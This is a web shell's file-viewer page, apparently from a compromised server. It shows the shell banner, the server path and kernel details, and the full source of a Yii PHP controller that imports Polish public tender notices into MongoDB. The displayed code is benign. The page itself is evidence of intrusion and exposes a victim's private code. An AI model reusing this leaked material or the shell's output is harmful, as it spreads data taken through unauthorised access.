Devil Killer Is Here MiNi Shell
MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/
Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Current File : /home/vmanager/www/console/controllers/TendersNewController.php
<?php

namespace console\controllers;

use \Yii;
use \yii\console\Controller;
use \yii\helpers\Console;
use yii\console\ExitCode;

class TendersNewController extends Controller
{
    const LIMIT_PAGES_FOR_PROCESSING = 100;

    private $errorMessage;
    
    private $regionsByCodes = [
        'PL02' => 'dolnośląskie', 
        'PL04' => 'kujawsko-pomorskie',
        'PL08' => 'lubuskie',
        'PL10' => 'łódzkie',
        'PL06' => 'lubelskie',
        'PL12' => 'małopolskie',
        'PL14' => 'mazowieckie',
        'PL16' => 'opolskie',
        'PL20' => 'podlaskie',
        'PL18' => 'podkarpackie',
        'PL22' => 'pomorskie',
        'PL26' => 'świętokrzyskie', 
        'PL24' => 'śląskie',
        'PL28' => 'warmińsko-mazurskie',
        'PL30' => 'wielkopolskie',
        'PL32' => 'zachodniopomorskie'
    ];
    
    public function actionImport()
    {        
        
        $actualTimestamp = strtotime(date('Y-m-d 00:00:00'));
        
        $importInfo = $this->getLastImportInfo(); 
        if(strtotime($importInfo['date']) >= $actualTimestamp) {            
            $this->stdout('Nie ma jeszcze przetargow dla tej daty: '.$importInfo['date']);
            return ExitCode::OK;
        }
        
        $portalsByCpv = [];
        $rows = Yii::$app->db->createCommand('SELECT * FROM portals_has_tenders_cpv')->queryAll();
        foreach($rows as $row) {
            $portalsByCpv[substr(trim($row['cpv']), 0, 8)][] = $row['id_portal'];
        }
        unset($rows);
        
        $counter = 0;
        $ommited_1 = 0;
        $ommited_2 = 0;
        $out = [];
        for($i = 1; $i <= static::LIMIT_PAGES_FOR_PROCESSING; $i++) {            
            $tenders = $this->getTenders($importInfo);

            //@todo proteza
//            var_dump($tenders[0]);
//            exit;
//            foreach($tenders as $tender) {
//                var_dump($tender['noticeNumber']);
//                continue;
//            }
//            exit;
            
            if(!empty($tenders)) {
                foreach($tenders as $tender) { 
                    $data = $this->parseTender($tender, $portalsByCpv);
//                    var_dump($data); exit;
                    //@todo testowo
//                    $flag = $this->saveHTMLFile($data['dir_html'], $data['file_html'], $tender['htmlBody']);
//                    var_dump($flag);
//                    exit;
                    if($data === false) { 
                        $ommited_1++;
                        continue;
                    }

//                    if(!empty($out[$data['_id']])) {                        
//                        var_dump($out[$data['_id']]);
//                        var_dump($tender);
//                        exit;
//                    } else {
//                        $out[$data['_id']] = $tender;
//                    }
//                    
//                    continue;
                    
                    try {
                        $orExist = (new \yii\mongodb\Query())->from('tenders')->where(['_id' => $data['_id']])->exists();
                        if(!$orExist) {
                            $data['or_hidden_by_inquiry'] = 0;
                            $data['created_at'] = $data['updated_at'] = new \MongoDB\BSON\UTCDateTime($actualTimestamp*1000);
                            $counter++;
                            
                            Yii::$app->mongodb->getCollection('tenders')->insert($data); 
                            $this->saveHTMLFile($data['dir_html'], $data['file_html'], $tender['htmlBody']);
                        } else {
                            //$existTender = (new \yii\mongodb\Query())->from('tenders')->where(['_id' => $data['_id']])->one(); 
                            $ommited_2++;
                        }
                    }
                    catch (\yii\mongodb\Exception $exception) {
        //                    var_dump($exception->getMessage());
                        $this->stderr('Error writing to the database.');
                        return ExitCode::UNSPECIFIED_ERROR;
                    }
                }
                $importInfo['last_processed_page']++;
                $this->updateImportInfo($importInfo);
            } else {
                $importInfo['status'] = 1;
                $this->updateImportInfo($importInfo);
                break;
            }
        }
        
        \yii\caching\TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_tenders']);
        
        $this->stdout('Data: '.$importInfo['date']."\n");
        $this->stdout('Dodano: '.$counter.' przetargów'."\n");        
        $this->stdout('Pominięto #1: '.$ommited_1.' przetargów'."\n");        
        $this->stdout('Pominięto #2: '.$ommited_2.' przetargów'."\n");
        
        return ExitCode::OK;
    }
    
    private function prepareText($text) 
    {
	$text = str_replace('&quot;','"',$text);
	$text = str_replace("'",'&rsquo;',$text);
	$text = str_replace("",'&rsquo;',$text);
        
	return $text;
    }
    
    protected function parseTender($tender, $portalsByCpv)
    {
//        var_dump($tender); exit;
        $year = mb_substr(trim($tender['publicationDate']), 0, 4);
        
        $data = [];
        
        $data['pozycja'] = trim(str_replace('/', '-', explode(' ', $tender['noticeNumber'])[1]));
        $data['_id'] = mb_substr($year, 2, 2).str_replace('-', '', $data['pozycja']);
        $data['data_publikacji'] = new \MongoDB\BSON\UTCDateTime(strtotime(trim($tender['publicationDate']))*1000);
        $data['file_html'] = str_replace('-', '', $data['pozycja']).'-N-'.mb_substr(trim($tender['publicationDate']), 0, 4).'.html';
        $data['biuletyn'] = $year;
        
        $matches = [];
        preg_match_all('|[0-9]{8}-[0-9]{1}|', $tender['cpvCode'], $matches);
        $data['numercpv'] = !empty($matches[0][0]) ? mb_substr(trim($matches[0][0]), 0, 8) : '';
        $data['numercpv2'] = !empty($matches[0][1]) ? mb_substr(trim($matches[0][1]), 0, 8) : '';
        $data['dir_html'] = str_replace('-', '', mb_substr(trim($tender['publicationDate']), 0, 10));
        $data['nazwa_zamowienia'] = trim($tender['orderObject']);
        $data['nazwa'] = trim($tender['organizationName']);
        $data['wojewodztwo'] = !empty($this->regionsByCodes[trim($tender['organizationProvince'])]) ? $this->regionsByCodes[trim($tender['organizationProvince'])] : '';
        $data['miejscowosc'] = trim($tender['organizationCity']);
        
        $matches = [];
        $data['ulica'] = '';
        preg_match('#<h3 class="mb-0">1\.5\.1\.\) Ulica: <span class="normal">(.+?)</span></h3>#i', $tender['htmlBody'], $matches);
        if(!empty($matches[1])) {
            $data['ulica'] = trim($this->prepareText($matches[1]));
        }
        
        $data['nr_domu'] = '';
        if(!empty($data['ulica'])) {
            $pos = mb_strrpos($data['ulica'], ' ');
            if($pos !== false) {
                $buildingNumber = trim(mb_substr($data['ulica'], $pos+1));
                if(is_numeric($buildingNumber)) {
                    $data['nr_domu'] = $buildingNumber;
                    $data['ulica'] = mb_substr($data['ulica'], 0, $pos);
                }
            }
        }
        
        $data['nr_miesz'] = ''; //@todo nie wiem skąd to wyjąć - nie znalazłem żadnego przykładu z takim adresem
        
        $matches = [];
        $data['kod_poczt'] = '';
        preg_match('#<h3 class="mb-0">1\.5\.3\.\) Kod pocztowy: <span class="normal">(.+?)</span></h3>#i', $tender['htmlBody'], $matches);
        if(!empty($matches[1])) {
            $data['kod_poczt'] = trim($this->prepareText($matches[1]));
            if(mb_strpos($data['kod_poczt'], "-") === false) {
                $data['kod_poczt'] = mb_substr($data['kod_poczt'], 0, 2).'-'.mb_substr($data['kod_poczt'], 2);
            }
        }
        
        $matches = [];
        $data['tel'] = '';
        preg_match('#<h3 class="mb-0">1\.5\.7\.\) Numer telefonu: <span class="normal">(.+?)</span></h3>#i', $tender['htmlBody'], $matches);
        if(!empty($matches[1])) {
            $data['tel'] = trim($this->prepareText($matches[1]));
        }
        
        $matches = [];
        $data['fax'] = '';
        preg_match('#<h3 class="mb-0">1\.5\.8\.\) Numer faksu: <span class="normal">(.+?)</span></h3>#i', $tender['htmlBody'], $matches);
        if(!empty($matches[1])) {
            $data['fax'] = trim($this->prepareText($matches[1]));
        }
        
        $matches = [];
        $data['email'] = '';
        preg_match('#<h3 class="mb-0">1\.5\.9\.\) Adres poczty elektronicznej: <span class="normal">(.+?)</span></h3>#i', $tender['htmlBody'], $matches);
        if(!empty($matches[1])) {
            $data['email'] = trim($this->prepareText($matches[1]));
        }
        
        $matches = [];
        $data['www'] = '';
        preg_match('#<h3 class="mb-0">1\.5\.10\.\) Adres strony internetowej zamawiającego: <span class="normal">(.+?)</span></h3>#i', $tender['htmlBody'], $matches);
        if(!empty($matches[1])) {
            $data['www'] = trim($this->prepareText($matches[1]));
        }
        
        $data['ids_portals'] = [];
        if(!empty($portalsByCpv[$data['numercpv']])) {
            $data['ids_portals'] = $portalsByCpv[$data['numercpv']];
        }
        if(!empty($portalsByCpv[$data['numercpv2']])) {
            $data['ids_portals'] = array_merge($data['ids_portals'], $portalsByCpv[$data['numercpv2']]);
        }
        $data['ids_portals'] = array_unique($data['ids_portals']);
        
        return $data;
    }
    
    
    
    protected function saveHTMLFile($dirName, $filename, $htmlCode)
    {
        $target = Yii::getAlias('@tendersRealPath').'/'.$dirName.'/'.$filename;
    
        if(!file_exists(Yii::getAlias('@tendersRealPath').'/'.$dirName.'/')) {
            mkdir(Yii::getAlias('@tendersRealPath').'/'.$dirName.'/', 0777, true);
        }
        
        $fileContent = $htmlCode;
        $matches = [];
        preg_match_all('~<body[^>]*>(.*?)<\/body>~is', $fileContent, $matches);
        if(!empty($matches[1])) {
            $fileContent = $matches[1];
        }        
        $fileContent = preg_replace('|<script.*</script>|i', '', $fileContent);
        //$fileContent = preg_replace('|<style type="text/css">.*</style>|is', '', $fileContent);
        $fileContent = preg_replace('|<input.*>|i', '', $fileContent);
        $fileContent = preg_replace('|<form .*>|i', '', $fileContent);
        $fileContent = preg_replace('|</form>|i', '', $fileContent);
        //$fileContent = str_replace('<link href="../xslt.css" rel="stylesheet" type="text/css" />', '', $fileContent);
        //$fileContent = preg_replace("|if \(typeof\(Sys\) === 'undefined'\) throw new Error\(.*\);|i", '', $fileContent);
        //$fileContent = str_replace('(function() {var fn = function() {$get("ctl00_ToolkitScriptManager1_HiddenField").value = \'\';Sys.Application.remove_init(fn);};Sys.Application.add_init(fn);})();', '', $fileContent);
        //odkomentować, jeśli ma wywalić również style inline
        //$fileContent = preg_replace('|style=".*"|i', '', $fileContent);
        $fileContent = preg_replace('/[\n\r]+/', '', $fileContent);
        $fileContent = preg_replace('/[\s]{2,}/', ' ', $fileContent);
        $flag = file_put_contents($target, $fileContent);
        
        return $flag !== false ? true : false;        
    }
    
    protected function getLastImportInfo()
    {
        $row = (new \yii\mongodb\Query())->from('tenders_import_status_new')
                ->select(['_id', 'date', 'last_processed_page', 'status'])
                ->where(['status' => 0])
                ->orderBy('date DESC')
                ->one();        
        
        if(!empty($row)) {
            return [
                '_id' => $row['_id'],
                'date' => $row['date']->toDateTime()->setTimezone(new \DateTimeZone(date_default_timezone_get()))->format('Y-m-d'),
                'status' => $row['status'],
                'last_processed_page' => $row['last_processed_page']
            ];
        } else {
            $lastDateTime = (new \yii\mongodb\Query())->from('tenders_import_status_new')
                ->select(['date'])
                ->where(['status' => 1])
                ->orderBy('date DESC')
                ->scalar(); 
            
            if(!empty($lastDateTime)) {
                $date = $lastDateTime->toDateTime()
                        ->setTimezone(new \DateTimeZone(date_default_timezone_get()))
                        ->modify('+1 day')
                        ->format('Y-m-d');
            } else {
                //@todo tutaj trzeba będzie ustawić datę, od której zaczynamy import 
                $date = '2021-01-01';
            }            
            
            $output = [
                'date' => $date,
                'status' => 0,
                'last_processed_page' => 0
            ];
            
            $id = Yii::$app->mongodb->getCollection('tenders_import_status_new')->save([
                'date' => new \MongoDB\BSON\UTCDateTime(strtotime($date) * 1000),
                'status' => 0,
                'last_processed_page' => 0
            ]);
            $output['_id'] = $id;
            
            return $output;
        }
    }
    
    protected function getTenders($importInfo)
    {
        $params = [
            "noticeType" => "ContractNotice",
            "publicationDateFrom" => $importInfo['date']."T00:00:00.000Z",
            "publicationDateTo" => $importInfo['date']."T00:00:00.000Z",
            "SortingColumnName" => "PublicationDate",
            "SortingDirection" => "DESC",
            "PageNumber" => $importInfo['last_processed_page']+1,
            "PageSize" => 10
        ];
        $headers = array(
            'Accept-Language: pl,en-us;q=0.7,en;q=0.3',
            'Accept-Charset: utf-8;q=0.7,*;q=0.7', 
            'Accept: application/json'
        );
        
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, 'https://ezamowienia.gov.pl/mo-board/api/v1/Board/Search?'.http_build_query($params));
        curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($curl, CURLOPT_HEADER, 0);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        
        $responseData = curl_exec($curl);
        $tenders = [];
        if(curl_getinfo($curl, CURLINFO_HTTP_CODE) != 200) {
            echo 'fail 1: '.curl_getinfo($curl, CURLINFO_HTTP_CODE);
        } else {            
//            $responseHeaders = curl_getinfo($curl);
            $tenders = json_decode($responseData, true);
        }       
        curl_close($curl);
        
        usleep(500000); //pół sekundy

        foreach($tenders as $key => $tender) {
            $tenders[$key]['htmlBody'] = $this->getTenderHTMLBody($tender['objectId']);
            usleep(100000); //1/10 sekundy
        }
        
        return $tenders;
    }
    
    protected function getTenderHTMLBody($id)
    {        
        $params = [
            "noticeId" => $id
        ];
        $headers = array(
            'Accept-Language: pl,en-us;q=0.7,en;q=0.3',
            'Accept-Charset: utf-8;q=0.7,*;q=0.7', 
            'Accept: application/json'
        );
        
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, 'https://ezamowienia.gov.pl/mo-board/api/v1/Board/GetNoticeHtmlBodyById?'.http_build_query($params));
        curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($curl, CURLOPT_HEADER, 0);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        
        $responseData = curl_exec($curl);
        $data = [];
        if(curl_getinfo($curl, CURLINFO_HTTP_CODE) != 200) {
            echo 'fail 2: '.curl_getinfo($curl, CURLINFO_HTTP_CODE);
        } else {            
//            $responseHeaders = curl_getinfo($curl);
            $data = json_decode($responseData, true);
        }       
        curl_close($curl);
        
        return $data;
    }
    
    protected function updateImportInfo($importInfo)
    {
        try { 
            Yii::$app->mongodb->getCollection('tenders_import_status_new')
                    ->update(
                        ['_id' => (string)$importInfo['_id']], 
                        [
                            'status' => $importInfo['status'], 
                            'last_processed_page' => $importInfo['last_processed_page']
                        ]
                    );
        }
        catch (\yii\mongodb\Exception $exception) {
            $this->stderr('Error writing to the database.');
            return Controller::EXIT_CODE_ERROR;
        }
        
    }
}
Creat By MiNi SheLL
Email: jattceo@gmail.com